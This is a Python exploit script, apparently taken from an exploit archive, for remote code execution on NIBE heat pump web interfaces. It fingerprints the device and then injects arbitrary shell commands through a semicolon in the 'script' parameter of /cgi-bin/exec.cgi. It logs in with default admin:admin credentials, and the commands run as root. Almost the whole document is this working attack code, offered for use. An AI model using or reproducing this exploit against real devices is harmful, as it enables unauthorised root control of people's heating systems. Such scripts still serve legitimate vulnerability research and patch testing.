NIBE heat pump – Remote Code Execution
#!/usr/bin/python import socket,sys,os,base64 # NIBE heat pump RCE exploit # # Written by Jelmer de Hen # Published at http://h.ackack.net/?p=302 # # Web interface is running with root rights # def finger_heatpump(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send("GET / HTTP/1.1\n\n") header = s.recv(1024) s.close() if header.find("NIBE") !=-1: return 1 else: return 0 def exploit_pump(ip, port, command, basic_auth): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send("GET /cgi-bin/exec.cgi?script=;%20"+command+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n") cmd_result = "" while s.recv(1024): cmd_result = cmd_result + s.recv(1024) s.close() return cmd_result def instructions(): print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]" print "Written by Jelmer de Hen" print "published at http://h.ackack.net/?p=302" print "Examples (for spaces in commands use %20 instead of \"\x20\"):" print sys.argv[0]+" 127.0.0.1 80 \"ls%20-al\"" sys.exit(1) def main(): if len(sys.argv)==4 or len(sys.argv)==6: try: ip = sys.argv[1] port = int(sys.argv[2]) command = sys.argv[3] except: instructions() try: basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5]) except: basic_auth = base64.b64encode("admin:admin") if finger_heatpump(ip, port) == 1: print "[+] Fingerprint scan success" command_result = exploit_pump(ip, port, command, basic_auth) if len(command_result)==0: print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right" else: print "[+] Contents of "+command_result+":" print command_result else: print "[-] Fingerprint scan failed" else: instructions() if __name__ == "__main__": sys.exit(main()) |